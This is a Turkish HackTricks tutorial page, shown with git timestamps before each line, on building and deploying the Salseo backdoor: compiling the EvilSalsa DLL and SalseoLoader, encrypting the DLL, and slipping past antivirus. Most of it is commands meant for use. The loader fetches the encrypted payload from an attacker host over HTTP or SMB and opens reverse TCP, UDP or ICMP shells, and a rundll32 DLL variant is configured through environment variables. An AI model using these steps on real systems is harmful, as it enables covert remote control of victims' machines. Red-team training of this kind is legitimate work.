2022-08-04 20:47:35 +00:00
# Salseo
2022-04-28 16:01:33 +00:00
< details >
2024-03-17 16:37:08 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahramana öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 10:12:47 +00:00
2024-03-17 16:37:08 +00:00
* **Şirketinizi HackTricks'te reklam görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**The PEASS Family'yi** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**'da takip edin.**
* **Hacking püf noktaları nı zı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-17 16:37:08 +00:00
## Derlemeleri Derleme
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader** 'ı derleyin. Kodu derlemek için **Visual Studio** 'nun yüklü olması gerekmektedir.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin).
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Mimariyi Visual Studio içinde **sol "Build" sekmesindeki "Platform Target" bölümünden seçebilirsiniz.**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
(\*\*Bu seçenekleri bulamazsanı z, ** "Project Tab"** üzerine tı klayı n ve ardı ndan ** "\<Project Name> Properties"**'e tı klayı n)
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
![](< .. / . gitbook / assets / image ( 132 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Ardı ndan, her iki projeyi derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanı n yolunu göreceksiniz):
2020-07-15 15:43:14 +00:00
2022-09-27 00:14:52 +00:00
![](< .. / . gitbook / assets / image ( 1 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Arka Kapı yı Hazı rlama
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
İlk olarak, **EvilSalsa.dll** 'yi kodlamalı sı nı z. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### **Python**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
2022-08-04 20:47:35 +00:00
### Windows
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### Windows
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
2024-03-17 16:37:08 +00:00
Şimdi Salseo işlemini gerçekleştirmek için ihtiyacı nı z olan her şeye sahipsiniz: **şifrelenmiş EvilDalsa.dll** ve **SalseoLoader'ı n ikili dosyası .**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**SalseoLoader.exe ikili dosyası nı makineye yükleyin. Herhangi bir AV tarafı ndan tespit edilmemeleri gerekiyor...**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
## **Arka kapı yı çalı ştı rı n**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP aracı lı ğı yla indirme)**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Ters kabuk dinleyici olarak nc başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayı n.
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
```
2024-03-17 16:37:08 +00:00
### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmı ş dll indirme)**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Ters kabuk dinleyicisi olarak nc'yi başlatmayı ve kodlanmı ş evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayı n (impacket-smbserver).
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2024-03-17 16:37:08 +00:00
### **ICMP ters kabuk almak (kurbanı n içinde zaten kodlanmı ş dll bulunmaktadı r)**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Bu sefer ters kabuk almak için istemci tarafı nda özel bir araca ihtiyacı nı z olacak. İndirin:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
#### **ICMP Yanı tları nı Devre Dı şı Bı rakı n:**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
2024-03-17 16:37:08 +00:00
#### Müşteriyi çalı ştı rı n:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2024-03-17 16:37:08 +00:00
#### Kurbanı n içinde, salseo şeyini çalı ştı ralı m:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2024-03-17 16:37:08 +00:00
## SalseoLoader'ı ana işlevi dı şa aktaran DLL olarak derleme
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Visual Studio kullanarak SalseoLoader projesini açı n.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### Ana işlevden önce ekle: \[DllExport]
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
![](< .. / . gitbook / assets / image ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Bu projeye DllExport yükleyin
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm için NuGet Paketlerini Yönet...**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
![](< .. / . gitbook / assets / image ( 3 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
#### **DllExport paketini arayı n (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açı lan pencereyi kabul edin)**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
![](< .. / . gitbook / assets / image ( 4 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Projelerinizin klasöründe **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### DllExport'u kaldı rı n
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Kaldı r**'ı seçin (evet, tuhaf ama bana güvenin, gerekli)
2020-07-15 15:43:14 +00:00
2023-06-14 10:51:55 +00:00
![](< .. / . gitbook / assets / image ( 5 ) ( 1 ) ( 1 ) ( 2 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Visual Studio'yu kapatı n ve DllExport\_configure'ı çalı ştı rı n
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Sadece **Visual Studio'yu kapatı n**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Ardı ndan, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat** 'ı çalı ştı rı n
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**x64**'ü seçin (eğer x64 kutusunda kullanacaksanı z, benim durumumda olduğu gibi), **System.Runtime.InteropServices** 'ı seçin (**DllExport için Namespace** içinde) ve **Uygula** 'yı seçin
2020-07-15 15:43:14 +00:00
2023-12-27 23:58:16 +00:00
![](< .. / . gitbook / assets / image ( 7 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Projeyi tekrar Visual Studio ile açı n
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**\[DllExport]** artı k hata olarak işaretlenmemelidir
2020-07-15 15:43:14 +00:00
2023-06-13 10:12:02 +00:00
![](< .. / . gitbook / assets / image ( 8 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Çözümü derleyin
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Çı kı ş Türü = Sı nı f Kitaplı ğı ** seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çı kı ş türü = Sı nı f Kitaplı ğı )
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . gitbook / assets / image ( 10 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**x64 platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
2020-07-15 15:43:14 +00:00
2022-09-02 15:27:38 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Çözümü derlemek için: Derle --> Çözümü Derle (Çı ktı konsolunda yeni DLL'nin yolu görünecektir)
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Oluşturulan Dll'yi test edin
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Dll'yi test etmek istediğiniz yere kopyalayı n ve yapı ştı rı n.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Çalı ştı r:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
rundll32.exe SalseoLoader.dll,main
```
2024-03-17 16:37:08 +00:00
Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## DLL kullanarak bir kabuk alı n
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyici** ayarlamayı unutmayı n
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### Powershell
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
2022-08-04 20:47:35 +00:00
### CMD
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### CMD
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2022-04-28 16:01:33 +00:00
< details >
2024-03-17 16:37:08 +00:00
< summary > < strong > Sı fı rdan kahramana kadar AWS hacklemeyi öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 10:12:47 +00:00
2024-03-17 16:37:08 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-03-17 16:37:08 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuzu
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **bizi** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**'da takip edin**.
* **Hacking püf noktaları nı zı paylaşarak PR göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >